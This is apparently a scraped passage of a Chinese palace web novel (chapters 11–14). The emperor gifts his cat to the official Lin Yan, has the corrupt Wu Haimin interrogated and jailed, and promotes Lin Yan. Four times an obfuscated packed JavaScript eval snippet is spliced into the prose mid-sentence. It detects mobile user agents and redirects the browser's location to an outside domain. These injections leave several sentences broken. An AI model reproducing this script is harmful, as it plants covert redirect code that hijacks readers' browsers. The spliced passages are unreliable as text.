萧彻终于从卷宗上抬起眼,眸中那点冷意瞬间化开,带上了一丝几乎不可察觉,连他自己都未曾深究的柔和:“让他待着便是,点心茶水别断了,告诉伺候的人,不必打扰,随他看书还是睡觉。” 李德福刚要领命去办,萧彻叫住他:“等等,他一个人也无聊,把阿蛮给他送过去。” 这下李德福的眼底震惊到晃动,阿蛮可是陛下养的猫!是御猫! “是。”李德福躬身退下,心中对那位林员外郎在陛下心中的分量,又有了新的估量。 清漪阁侧殿。 林砚正捧着那碗沁凉的甜酪,小口小口地品尝着。 桂花蜜的香甜混合着牛乳的醇厚在舌尖化开,碗底还藏着几颗煮得软糯的莲心,微苦回甘,恰到好处地解了甜腻。 殿内安静得只能听到他自己细微的咀嚼声和窗外偶尔传来的鸟鸣。 这皇宫的下午茶是真不错。 最初的惊疑不定已经彻底被满足和困惑取代。 吃饱喝足,甚至有点犯困。 林砚困得想趴着睡之际,李莲顺那张白净圆润,挂着标准笑容的脸探了进来,身后还跟着两个小太监,合力抬着个罩着明黄锦缎的物件。 那物件不大不小,方方正正,像个加了盖的笼子,还隐隐有轻微的窸窣声从里面传出来。 “陛下口谕。”李莲顺清了清嗓子,声音带了点宫里特有的调子,“林卿近日辛苦,朕心甚慰,特赐御猫阿蛮,予卿解乏,钦此。” 御猫? 林砚脑子有点卡壳。 他以为萧彻再是个好老板,顶多也就是给他多些吃的喝的,居然给他送了只猫来?还是御猫? 林砚懵懵地谢了恩,看着李莲顺示意小太监把那罩着锦缎的物件小心翼翼地放在他案头。 那东西在桌上还轻微晃动了一下,里面的窸窣声更清晰了,像是什么东西在抓挠。 李莲顺笑眯眯地揭开锦缎一角,露出一个精巧的金丝笼子。 笼子里,一只通体雪白、唯有尾巴尖儿和耳朵尖儿点缀着几撮墨黑绒毛的猫儿,正懒洋洋地趴着。 那猫儿体型不大,但骨架匀称,毛发光亮得像是上好的绸缎,一双碧绿色的眼睛如同最纯净的琉璃,带着点睥睨众生的傲气,慢悠悠地扫视了一圈周围,最后落在林砚脸上。 嚯! 好家伙! 绝美猫猫! 林砚脑子里瞬间炸开烟花。 什么工作,什么狗屁文书,什么武海闵,全被这只毛茸茸、漂亮得不像话的猫儿挤到了九霄云外。 吃有御膳房,喝有贡茶,现在连猫都有了! 林砚脸上的笑容瞬间从职业假笑切换成发自肺腑的真心实意:“臣林砚,叩谢陛下天恩!陛下体恤入微,臣感激涕零,五体投地!” 那语气里的真诚劲儿,比他在武海闵面前演一万次肝脑涂地都真。 李莲顺显然很满意林砚的反应,笑着点点头,又凑近了些,声音压得极低:“林大人,陛下还说,让您好好照顾阿蛮,它性子娇贵。” “下官明白!下官一定当祖宗供着!”林砚点头如捣蒜,眼睛黏在阿蛮身上拔不下来。 眼看李莲顺办完差事要走,林砚心头那点关于自由的渴望又冒了头。 他赶紧往前挪了一小步:“李公公,那个……敢问陛下可有说,我何时能离宫啊?” 李莲顺脸上的笑容纹丝不动,眼神里却掠过一丝爱莫能助:“林大人,奴婢可不敢揣测圣意,不过嘛……” 他瞟了一眼笼子里已经开始优雅舔爪子的阿蛮:“看陛下这意思,兴许今儿个您这宫门,是不好出了。” 林砚脸上的笑容僵了一瞬。 啥玩意儿? 不让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16434141|184940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走了? 那他爹娘还不得急死? 林砚立刻换上愁容:“公公,那能不能劳烦您,帮我给家里递个话?就说陛下留我在宫里……呃,商议要事?让我爹娘别担心?”差点把“撸猫”说出口。 李莲顺这回是真为难了,他搓了搓手:“林大人,没有陛下明示,奴婢实在不敢擅自做主啊。” 给外臣家里递消息?这活儿太烫手。 林砚看着李莲顺那副“别为难我”的表情,心里的小人已经开始疯狂挠墙。 他瞅了瞅笼子里高冷的阿蛮,又看了看李莲顺,眼神里充满了社畜对下班的渴望。 李莲顺被他看得头皮发麻,一咬牙:“这样,林大人您稍安勿躁,奴婢这就去御前,斗胆替您问问陛下的意思。”左右陛下宠爱林大人,应当不会因此生气。 “有劳公公!”林砚感动得差点热泪盈眶。 李莲顺脚底抹油,溜得飞快。 太仪殿暖阁。 萧彻刚批完一份奏折,正捏着眉心,李莲顺就躬着身子进来了。 “陛下,御猫已送到林大人处,林大人欢喜得很,叩谢天恩时,那真心实意……啧啧,奴婢瞧着都替他腮帮子酸。”李莲顺努力把林砚那傻乐样儿描述得生动点,“只是林大人惦记着家中父母,怕二老悬心,央求奴婢给府上递个话,奴婢不敢擅专,特来请陛下示下。” 萧彻闻言,指尖在御案上轻轻敲了敲,他越发觉得林砚不错,还知道惦记父母。 “嗯。”萧彻放下手,语气随意,“你跑一趟林家,就说朕留林砚在宫里住上几日,商议些礼部细务,让他们不必挂念。” 他顿了顿,补充道:“再带些赏赐去,挑些实在的,绫罗绸缎,时令果品,米面油盐,看着办。” 李莲顺连忙应下:“是,奴婢遵旨。”心里却犯起了嘀咕。 商议细务?这理由……也就糊弄糊弄外头人吧?住上几日?陛下这葫芦里卖的什么药? 退下后,李莲顺心里还是不踏实,揣着满腹疑问,去找他的干李德福。 李德福正慢悠悠地修剪一盆罗汉松,听完李莲顺的复述,眼皮都没抬一下。 “干爹,您说陛下这……”李莲顺凑近了点,声音压得极低,“对林大人,是不是有点过于……” “过于什么?”李德福剪掉一根多余的枝桠,“圣心独运,岂是你我能妄加揣测的?” 他放下银剪,拿起布巾擦了擦手,这才抬眼看向干儿子,眼神平静无波:“陛下宠信谁,那是陛下的意思,咱们做奴婢的,眼睛放亮,手脚勤快,该给的体面一分不少地给,该办的事一丝不苟地办,至于旁的。” 李德福顿了顿,手指点了点自己的心口:“心里有数就行,别问、别想,更别往外传,记住了,林大人如今是陛下跟前的新鲜人儿,咱们就尊着、敬着、捧着,多余的,一个字都甭琢磨,琢磨多了,脖子上的吃饭家伙就不稳当了。” 李莲顺醍醐灌顶,后背惊出一层薄汗:“是是是,儿子明白了!多谢干爹提点!” 另一边,林砚得了李莲顺传回的口信,知道家里那边安排妥了,还白赚一波赏赐,心里最后那点忐忑也烟消云散。 他看着金丝笼里那位大爷,搓了搓手。 嚯!这手感! 软乎! 暖和! 毛茸茸! 12. 第 12 章 阿蛮倒也不认生,碧绿的猫眼瞥了林砚一眼,大概是觉得这个两脚兽身上没有威胁,它象征性地挣扎了一下,就任由林砚把它圈在怀里。 林砚瞬间被巨大的幸福感击中。 他抱着猫,一屁股坐回椅子,也顾不上什么仪态了。 脸埋进阿蛮颈间那圈又厚又软的绒毛里,深深吸了一口。 像阳光晒过蓬松棉花糖的味道,还带着点御用熏香的余韵。 “呼噜噜……”阿蛮似乎被蹭舒服了,喉咙里发出低沉的呼噜声。 林砚抱着猫,左贴贴,右蹭蹭,下巴搁在阿蛮毛茸茸的头顶,感受着那温暖的小身体和规律的呼噜声,只觉得连日的疲惫都被这毛茸茸的治愈神器吸走了。 他轻轻捏了捏阿蛮粉嫩的肉垫,换来猫儿不满地一爪子拍开。 怀里揣着御猫牌暖手宝,林砚觉得,萧彻这上司是真不错。 林砚在快乐地撸猫,祠部司的其他人可就没有这待遇了。 金吾卫的审讯室,活脱脱像是从冰窖里直接抠出来的。 四壁光秃秃,连个透气的缝儿都吝啬,只点着两盏惨白的油灯,豆大的火苗有气无力地跳跃,勉强撕开一点浓稠的黑暗,映得墙上人影扭曲拉长,如同鬼魅跳舞,空气里浮着一股铁锈混着陈年灰尘的呛人味儿,吸一口,能凉到肺管子。 武海闵被反剪双手捆在硬木椅子上,椅子腿死死钉进地里。 他整个人像是刚从水里捞出来,浅绯官袍被冷汗浸透,颜色深一块浅一块,皱巴巴地贴在身上。 那张平日里在林砚面前高高在上的脸,此刻蜡黄得像糊了一层劣质黄裱纸,嘴唇哆嗦着,牙齿磕碰出密集的“咯咯”声,在死寂的房间里格外刺耳。 他面前站着个人。 一身毫无纹饰的玄黑劲装,身形不算特别高大,却像一块吸光了所有光线的沉铁。 脸上没有任何表情,五官平凡得如同泥塑木雕,只有一双眼睛,像两口深不见底的寒潭,映着油灯微弱的光,冰冷、沉寂,一丝活气儿都欠奉。 他手里没拿鞭子,没拿烙铁,甚至没带刀,就那么随意地站着,目光平平地落在武海闵脸上。 无形的压力比任何刑具都可怕。 这是金吾卫特地从金影卫那边借来的金七。 “武大人。”金七的声音干涩得像砂纸摩擦铁板,平直得没有一丝起伏,“祠部司员外郎林砚的前任,姓甚名谁,因何去职?” 武海闵猛地一哆嗦,眼神疯狂乱飘,喉咙里发出“嗬嗬”的抽气声,就是吐不出一个完整的字。 金七没催,也没动,那双冰冷的眼睛,就这么静静地看着他。 时间在令人窒息的沉默中一点点爬过,每一息都像一年那么长。 “周文焕!”武海闵终于崩溃了,尖利的声音带着破音,眼泪鼻涕不受控制地一起涌出来,“前任员外郎周文焕,他……他累病的!对!累病的!礼部祠部司公务繁重,他身子骨弱,熬不住了,自己……自己请辞回乡养病去了!” “哦?”金七从喉咙里挤出一个单调的音节,眼神都没动一下,“那从周文焕到林砚中间空缺的时日里,那些印鉴模糊的度牒,如何过了祠部司的关?” “我盖的!我盖的章!”武海闵几乎是嚎叫出来,身体在束缚下剧烈扭动。 金七依旧没什么表情,只微微侧了下头,像是在倾听隔壁的动静。 隔壁隐约传来压抑的、变了调的痛哼和锁链拖动的声音,虽模糊,却足以让武海闵脑补出十八层地狱的惨状。 “李郎中。”金七慢悠悠地换了目标,像是在闲聊,“听说在公廨里支锅涮羊肉?” 武海闵抖得更厉害了,像一片寒风里的枯叶:“涮了!真涮了!就上月!他自己弄了个小铜锅,羊油味儿大的……大的……” 他拼命吸着气,仿佛还能闻到那股膻气:“隔壁刑部当值的仵作老刘都寻过来了!扒着门缝问是不是新送来的尸体没保管好,味儿都飘他们那儿了!真的!千真万确!” 他竹筒倒豆子,连李郎中偷偷往铜锅里加了半壶御赐的贡酒提鲜,结果差点把公廨点着这种细节都抖落得一干二净。 金吾卫都很沉默。 也不知道金七是用了什么药,武海闵都不用上刑,随便吓吓就全部吐出来了。 金七似乎对羊肉锅兴趣不大,视线重新落回武海闵那张涕泪横流的脸上,带着点审视的意味:“武大人身为郎中,想必公务更为繁冗?林员外郎……似颇得大人器重?” “器重个屁!”武海闵被这“器重”二字彻底戳破了最后一点伪装,恐惧混合着积压已久的怨毒瞬间爆发,声音嘶哑地咆哮,“他就是头拉磨的驴!还有那周文焕!也是驴!蠢驴!好使唤的驴!什么狗屁祥瑞考、祭天流程、赐宴预算、僧道度牒复核……全是他们的活儿!功劳当然全是老子的!放他娘的狗屁!老子爹是吏部尚书!他们敢不干?干不死他们!累死周文焕那是他自己命短!林砚那小崽子命硬,还没累趴下……呃!” 武海闵猛地顿住,像是被自己脱口而出的恶毒吓住了,随即又被更大的恐惧淹没,整个人瘫软下去,只剩下筛糠般的颤抖和喉咙里绝望的呜咽,汗水混着泪水,在他下巴尖儿汇聚成浑浊的一滴,“啪嗒”一声砸在冰冷的地面上。 他怎么会……怎么会把心里想的说出来的? 武海闵越想越害怕。 金七静默地看着他彻底崩溃的姿态,如同看一块朽烂的木头。 片刻后,他转身,无声地拉开厚重的铁门,走了出去,将那摊烂泥般的武海闵和满室污浊的空气重新锁进令人窒息的黑暗里。 太仪殿暖阁。 沉水香清冷的气息袅袅浮动,勉强压住了那份刚从金吾卫递上来,还带着地牢阴冷铁锈味的厚厚证词所带来的污浊感。 萧彻靠在宽大的御座里,明黄的软垫衬得他玄色常服上的暗金龙纹愈发深沉。 他指尖捻着证词边缘,一页页翻过,速度不快,脸上没什么表情,如同在批阅一份再寻常不过的奏折。 直到翻到某一页。 他的指尖顿住。 【……武海闵为掩人耳目,常于休沐日邀其妾室柳氏至公廨,以研习公文为名,实则在空置值房内……其自诩风雅,称此举为“月光奏折玩法”,并曾向人夸口,已研得一百零 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16434142|184940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 八式……】 萧彻的眉梢极其细微地向上挑了一下,那弧度轻得几乎看不见,捏着纸张边缘的指尖,却几不可察地收紧了一瞬,光滑的纸面被压出一道细微的折痕。 暖阁里静得能听见灯花爆开的轻微“噼啪”声。 侍立一旁的李德福眼观鼻鼻观心,如同泥塑木偶,连呼吸都放得极轻。 萧彻的目光在那几行荒唐透顶的字迹上停留了片刻,仿佛在确认自己没有看错。 随即,他面无表情地翻过这一页,指尖在纸页上轻轻一点,继续往下看。 证词很长,详细记录了武海闵这些年倚仗其父吏部尚书的权势,在祠部司只手遮天,贪墨祭祀拨款,收受地方寺庙道观巨额贿赂,违规发放度牒,纵容亲属侵占祠产,以及长期将核心公务甩给下属、侵吞功劳、导致前任员外郎周文焕积劳成疾郁郁而终,并持续压榨林砚的种种劣迹。 桩桩件件,触目惊心. 终于,萧彻合上了那本散发着不祥气息的证词。 他抬手,随意地将它往御案边缘一推,动作不大,却带着一种尘埃落定的轻蔑,仿佛推开的不是一份重臣之子的罪证,而是一块散发着恶臭的垃圾。 “武海闵.”萧彻开口,听不出喜怒,“扔进刑部大牢,择日由三司会审定罪。” 李德福立刻躬身:“是。” “着禁军.”萧彻的目光投向窗外沉沉的暮色,语气平淡得像在吩咐晚膳添道小菜,“围了武府,府内一应人等,无旨不得出入,所有账册、文书、往来信件,封存待查。” “遵旨。”李德福心头一凛,腰弯得更深。 围府!这是要动真格,连根拔起了!武尚书这次……怕是要大祸临头。 暖阁再次陷入沉寂。 殿角的鎏金珐琅自鸣钟发出几声轻缓的“叮咚”,报着酉时初刻的时辰。 李德福觑着陛下的脸色,见他眉宇间那点不易察觉的冰寒似乎散了些,才小心翼翼地趋前一步,声音放得又轻又软:“陛下,酉时了,龙体要紧,该进晚膳了,御膳房今日备了清蒸江上刚贡来的鲥鱼,火候最是讲究,凉了怕失了鲜味。” 萧彻没立刻回应,目光依旧落在窗外那片被宫灯染上暖橘色的天空,指尖在光滑的紫檀木扶手上,有一下没一下地轻点着。 李德福屏息静候。 片刻,萧彻的唇角忽然向上弯起一个极浅的弧度。 那笑意来得突兀,瞬间冲散了帝王眉宇间最后一丝沉凝。 “李德福。”他转回头,声音里竟含了一丝轻快。 “老奴在。” “去.”萧彻的手指随意一点,“把林砚,给朕叫来,陪朕用晚膳。” 李德福一愣,以为自己听岔了。 叫一个六品小官来陪陛下用晚膳? 这……这不合规矩啊! 他张了张嘴,那句“陛下,这恐怕……”还没出口。 萧彻像是知道他要说什么,慢悠悠地补充道:“就说朕体恤他近日协理祠部司事务,夙夜辛劳,赐他一同用膳。” 说着,萧彻唇角那抹笑意加深了半分:“让他快些,朕……饿了。” 13. 第 13 章 林砚觉得自己像个刚被从水里捞出来、又直接架到火上烤的虾米。 他晕头转向地被李德福亲自领着,一路穿过重重宫门,绕过回廊殿宇。 暮色四合,宫灯次第亮起,将飞檐斗拱的影子拉得又长又怪,投在光洁如镜的金砖地上,如同张牙舞爪的巨兽。 空气里弥漫着沉水香和御膳房飘来的、勾人馋虫的复杂香气,混合出一种令人眩晕的皇家威仪。 紧脏! 林砚的脑子里还在反复播放着刚才的画面:李德福那张老脸笑得像朵盛开的菊花,尖细的嗓音带着不容置疑的穿透力—— “林员外郎,陛下体恤你辛劳,特赐你一同用晚膳!快随咱家来,莫让陛下久等!” 现在,他站在这间暖意融融、熏着清雅梨香的花厅里,手脚都不知道该往哪里放。 花厅不大,布置却极雅致,中间一张紫檀木嵌螺钿的圆桌,上面已布好了碗碟。 桌旁伺候的宫女太监垂手肃立,眼观鼻鼻观心,如同没有生命的精致摆设。 萧彻就坐在主位,换了身家常的玄青暗云纹锦袍,玉簪束发,少了几分朝堂上的凛冽威严,多了几分清贵闲适。 他正慢条斯理地用一方雪白的丝帕擦着手指,动作优雅从容。 “坐。”萧彻抬了抬下巴,示意林砚坐在他下首的位置,语气随意得像招呼一个相熟的朋友。 林砚指了指自己:“陛下……是让臣坐?” 萧彻含笑:“朕叫你来用膳,你不坐着用,是打算站着用?” 林砚僵硬地挪过去,屁股挨着那铺了厚厚锦垫的紫檀木圆凳边缘,只敢坐实三分之一,腰板挺得笔直,双手规规矩矩放在膝盖上,眼观鼻鼻观心,努力把自己缩成一个鹌鹑。 “谢陛下隆恩。”声音干巴巴的。 【我滴个亲娘祖宗啊!武海闵刚进去,禁军刚围了武家,转头就叫我陪吃饭?这对吗?】 萧彻听到林砚的心声,唇角上扬。 李德福开始报菜名:“陛下,今日的晚膳御膳房备的是清蒸鲥鱼、蟹粉狮子头……” 【清蒸鲥鱼?这鱼看着就贵,鳞片都在发光!吃一口会不会折寿?】 【旁边那个是蟹粉狮子头吧?拳头那么大!这得多少只螃蟹才拆得出来?这是我能吃的吗?】 萧彻执起玉箸,仿佛没听见脑子里的排山倒海,神色自若地夹起一块最肥美的鲥鱼肚腩。 那鱼肉雪白细腻,浸润在琥珀色的清亮汤汁里,散发出难以抗拒的鲜香。 “林卿在祠部司,可还顺当?”萧彻将鱼肉送入口中,动作优雅,目光却落在林砚绷得死紧的脸上。 林砚头皮一麻:“回陛下,托陛下洪福,一切安好。” 【呜呜呜陛下!我不好,我一点都不好!】 【我在祠部司干了多久,就受了多久武海闵的欺压!】 【武海闵那王八蛋拿他爹威胁我!不是人!】 萧彻心想,林砚在奏报中都算不上是告状了,武海闵对林砚做的过分事情,可不止这次的重阳。 “朕已将武海闵下狱。”萧彻歇了逗弄林砚的心思,还给林砚夹了鲥鱼。 嘎? 林砚的注意力全部落在了萧彻说的话上,连谢恩都忘记了。 “陛下为何会把武大人下狱?”林砚瑟瑟发抖,总不能是因为他告的状吧? 萧彻神色自若:“武海闵作恶多端,有此结果是他自找的。” 林砚咽了咽口水,小心翼翼地问:“那陛下打算如何处置武……武海闵?” 萧彻目光一凛:“杀了。” 林砚险些就从凳子上摔下去。 【武海闵到底是犯了多大的事儿?陛下竟然都要杀他了?】 【等等!武海闵没了,那重阳的活岂不是顺理成章落到我身上了?之前是帮着武海闵干,现在是自己得干?】 【看今天的情况,整个祠部司除了我就是谢明远没事,要是祠部司垮了,那我跟谢明远两个人干整个祠部司的活儿?】 林砚整个人都不好了,甚至有点想仰天大笑出门去。 疯了算球。 萧彻将林砚那副天塌地陷的表情尽收眼底,内心那点恶趣味得到了极大的满足。 “林卿似乎……对武海闵的去向颇为感慨?”萧彻的声音带着一丝不易察觉的戏谑,明知故问。 林砚一个激灵,瞬间回魂,强行把扭曲的五官掰回“恭敬温顺”频道,声音干涩:“回陛下,臣只是骤然听闻,一时惊愕,武海闵罪有应得,陛下圣明烛照,为朝廷除一蛀虫,实乃幸事!”彩虹屁吹得毫无灵魂。 萧彻的嘴角向上弯了一下,他放下玉箸,拿起丝帕优雅地沾了沾嘴角,仿佛在思考一个严肃的国策。 “武海闵伏法,祠部司郎中一职便空缺了。”萧彻的目光落在林砚那张强装镇定的脸上,“此职紧要,不可久悬,朕会尽快从六部之中,遴选得力干员补上。” 林砚心头刚升起一丝微弱的希望之光——大老板要派人来接手火坑了? 萧彻话锋一转,那双深邃的凤眸带着点探究,直直看向林砚:“林卿在祠部司多年,勤勉有加,又深悉司务,朕观你行事稳妥,颇有章法……” 他顿了顿,似乎在斟酌词句,抛出那个让林砚头皮炸裂的问题:“这祠部司郎中之职,林卿可有兴趣?” 林砚感觉自己脑子里那根名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16434143|184940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为理智的弦,崩断了。 【兴趣?!不敢有,实在是不敢有。】 他怕自己不小心,成为下一个武海闵。 林砚内心的小人已经跪地磕头,疯狂呐喊“臣不配!臣不敢!臣只想躺平!”。 然而,现实是残酷的。 林砚深吸一口气,脸上挤出一个比哭还难看的“感激涕零”,腰板挺得笔直,声音带着视死如归的忠勇:“陛下厚爱,臣……臣惶恐。” 他低下头,避开萧彻那仿佛能洞穿人心的目光。 “臣才疏学浅,资历尚浅,恐难当此重任,郎中一职关乎礼部祭祀要典,需得老成持重、经验丰富之臣方可胜任。” 萧彻静静地听着林砚这番“发自肺腑”的推辞,指尖在光滑的紫檀木桌面上轻轻敲击着。 这人,是真被武海闵留下的烂摊子吓破胆了。 “哦?”萧彻拖长了调子,看着林砚那副恨不得把头埋进狮子头里的样子,眼底的笑意几乎要溢出来,“林卿倒是……谦逊。” 【谦逊个鬼!我这是怕死!怕累死!陛下您什么时候给我升官不行,非得挑此时啊?】 “也罢。”萧彻仿佛有些遗憾地叹了口气,终于大发慈悲,“既然林卿志不在此,朕也不便强求。” 林砚紧绷的神经“唰”地一松,感觉后背的冷汗都快浸透中衣了,连忙高呼:“陛下圣明,臣谢陛下体恤!” 【得救了!感谢苍天!感谢陛下不升之恩!】 【陛下快找个靠得住的人来干活!】 “不过,”萧彻话锋又是一转,林砚刚放下的心瞬间又提到了嗓子眼,“武海闵留下的积弊甚多,新任郎中到任前,祠部司日常运转,还需林卿多多费心。” 林砚:“???”这合理吗? 【陛下您不能这样!臣只是个小小的员外郎啊!】 萧彻轻轻清了清嗓子,决定放过林砚:“好了林卿,朕还是暑意你为祠部司郎中。” 林砚:“……” 玩呢? 林砚起身,跪地行了大礼:“臣,领旨。” 【往好处想,郎中是五品官,俸禄给更多。】 林砚还是很会安慰自己的。 “嗯,如此甚好。”萧彻重新拿起筷子,夹向那盘清亮的鲥鱼,“林卿也多用些,吃饱了,才有力气为朕分忧。” 林砚看着碟子里那块陛下亲手夹来的鲥鱼肚腩,还有那个硕大的蟹粉狮子头,只觉得它们散发着悲壮又诱人的香气。 他心一横,眼一闭,筷子伸了过去。 吃! 不吃白不吃! 就算明天要加班到地老天荒,今天也得把这御膳吃回本! 14. 第 14 章 林砚晕晕乎乎地被李莲顺引着,一路穿过灯火通明的宫道,回到那间暂时安置他的清漪阁侧殿。 殿内灯火温暖,熏着清雅的梨香。 阿蛮那只御猫大爷正悠闲地趴在他那张临时小榻的软垫上,碧绿的猫眼在烛火下闪着矜贵的光,见林砚回来,也只是懒洋洋地掀了下眼皮,仿佛在说:铲屎的,你挡着光了。 林砚挪到榻边,一屁股坐下,伸手就把阿蛮给从头到尾撸了个遍,惹得阿蛮不满地“喵呜”一声。 武海闵下狱,武府被围,自己稀里糊涂升了官,这一切快得像走马灯。 祠部司郎中…… 林砚掰着手指头算了算:一年禄米二百二十石,职田七百亩,白银……四十两! 这俸禄!这职田!这银子! 原来这就是穷人乍富的感觉吗? 林砚的眼睛瞬间亮了一下,但这点光很快又被巨大的阴影吞没。 升官是好事,可这官升得烫手,武海闵留下的烂摊子,那堆积如山的陈年旧账,还有整个祠部司那群刚被吓破胆、心思各异的同僚…… 林砚猛地往后一倒,瘫在柔软的锦被上,望着头顶精美的承尘藻井,长长地、深深地叹了口气。 社畜的命,怎么就这么苦? 要是他的同事都能像皇帝老板一样就好了。 阿蛮似乎被他的动静惊扰,迈着优雅的猫步走过来,嫌弃地用爪子扒拉了一下林砚垂在榻边的手。 林砚来劲了,抱住阿蛮又是一顿呼噜噜,把阿蛮的毛揉成了蒲公英。 武海闵到底干了多少破事才会这么刑? 林砚好奇,很想知道武海闵的罪名有哪些。 这样以后他才能避着点雷,别稀里糊涂把自己也搭进去。 可是问谁? 李莲顺?他是太监,不经手此事,未必清楚。 直接问皇帝?那他岂不是越级越得有点太多了? 林砚翻了个身,有点烦躁。 阿蛮碧绿的猫眼随着他来回晃动,带着点看傻子似的探究。 林砚又翻了个身,忽然灵机一动。 陛下不是让他当暗卫吗?监察礼部官员行止……那打听打听前上司的犯罪事实,也算是工作范畴内吧? 这叫了解敌情,防范未然。 嗯,合理,非常合理。 林砚瞬间给自己找到了完美的理由,心里那点忐忑被求知欲(划掉)求生欲压了下去。 深深吸一口气,林砚给自己打气:为了银子,为了职田,为了不步武海闵的后尘,拼了! 翌日清晨,林砚顶着一对堪比熊猫的黑眼圈,被李德福引到了御书房外。 昨晚翻来覆去,把见到皇帝后可能的说辞演练了八百遍,从“陛下圣明烛照明察秋毫”到“臣惶恐不知前事恐步后尘”,各种角度都琢磨了。 此刻站在御书房外,听着里面隐约传来的说话声,林砚的心跳又开始擂鼓。 他下意识地整理了一下簇新的五品绯色官袍——这是李莲顺连夜送来的,感觉这袍子比六品那件贵了十倍。 李德福进去通传片刻,便出来示意林砚进去。 林砚深吸一口气,迈过那道高高的门槛。 御书房内光线明亮,沉水香的气息比别处更浓些。 萧彻正坐在巨大的紫檀木御案后,手里拿着一份奏章,眉头微锁,似乎在思索什么。 听到脚步声,他抬起头,目光落在林砚身上那崭新的五品绯袍上,眼底掠过一丝极淡的满意。 “微臣叩见陛下。” “平身。”萧彻放下奏章,目光在林砚眼下那两团浓重的青黑上停留了一瞬,眼底闪过一丝不解,“林卿新官上任,瞧着倒比昨日更添几分憔悴?” 林砚心里咯噔一下,连忙垂首:“回陛下,臣初担重任,唯恐有负圣恩,昨夜思虑司务,辗转反侧,未能安寝。” 【嗐,这不是怕我步武海闵那厮的后尘,夜里做噩梦了嘛。】 萧彻无语住了。 有那么吓人? 萧彻指尖在御案上轻轻一点:“嗯,勤勉可嘉。赐座。” 李莲顺立刻麻利地搬来一个紫檀木绣墩。 林砚谢恩坐下,腰板挺得笔直。 他觑着萧彻的脸色,感觉皇帝大佬心情似乎还不错?至少没昨天那么吓人。 机不可失! 林砚清了清嗓子,努力让自己的声音听起来平稳又带着点恰到好处的困惑和求知欲:“陛下,臣有一事不明,斗胆请教。” 【林砚,不要害怕!】 “讲。”萧彻端起手边的青玉茶盏,慢悠悠地啜了一口。 “昨日武海闵罪证确凿,下狱待审。”林砚斟酌着词句,“臣初掌祠部司,于司务虽有所知,然武海闵多年经营,积弊甚深,臣唯恐日后处置公务时,不明就里,误触其遗留之雷,反为朝廷添乱。” 林砚抬头飞快地看了萧彻一眼,又迅速垂下:“不知武海闵所犯诸罪之中,可有需臣特别留意、引以为戒之处?譬如那造假度牒一事,臣实在不解,此等文书,缘何能引得陛下如此震怒?” 林砚一口气说完,感觉后背都沁出了一层薄汗。 他紧张地盯着自己的鞋尖,等待着皇帝的回应,心里的小人疯狂祈祷。 【陛下明鉴啊!我就是想避雷!绝对没有别的意思!】 御书房内安静了片刻,只有萧彻手中茶盖轻轻刮过杯沿的细微声响。 林砚几乎能听到自己心跳的声音。 “呵。”一声极轻的笑从上方传来,打破了沉寂。 林砚猛地抬头。 【呵?呵是什么意思?】 只见萧彻放下茶盏,脸上非但没有不悦,还朝李德福使了个眼色。 李德福立刻心领神会,悄无声息地退了出去,片刻后,端着一个托盘回来,上面放着一碗热气腾腾、散发着诱人香气的鸡丝细面,还有两碟精致的小菜,轻轻放在林砚旁边的小几上。 林砚看着那碗面:“???” 这对吗?啊? “先用膳。”萧彻的声音带着点不容置疑的温和,“林卿面有菜色,想必腹中空空,脑子也转不动,边吃边听朕说。” 林砚受宠若惊,连忙起身谢恩:“臣惶恐,谢陛下赐膳。” 【陛下您真是我肚子里的蛔虫!不对,是英明神武的蛔虫!】 【这面闻着真香!鸡丝好嫩!汤头好鲜!】 【呜呜呜,好吃好吃,不愧是御膳房出品!】 林砚小心翼翼地端起那碗面,拿起筷子,斯文地挑起几根面条,吹了吹热气,送入口中。 温热的食物滑入肠胃,瞬间抚慰了早起奔波和紧张带来的不适。 萧彻看着林砚那副明明饿得不行,还要强装斯文、小口小口扒拉面条的样子,眼底的笑意加深了几分。 他慢悠悠地开口,声音不高,却清晰地传入林砚耳中:“造假度牒,看似不过是一纸文书作假,骗个身份,实则遗祸深远,动摇社稷根基。” 林砚捧着面碗,一边小口吸溜着面条,一边竖起耳朵,做出洗耳恭听状。 【根基?这么严重?不就是和尚道士的身份证明吗?】
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 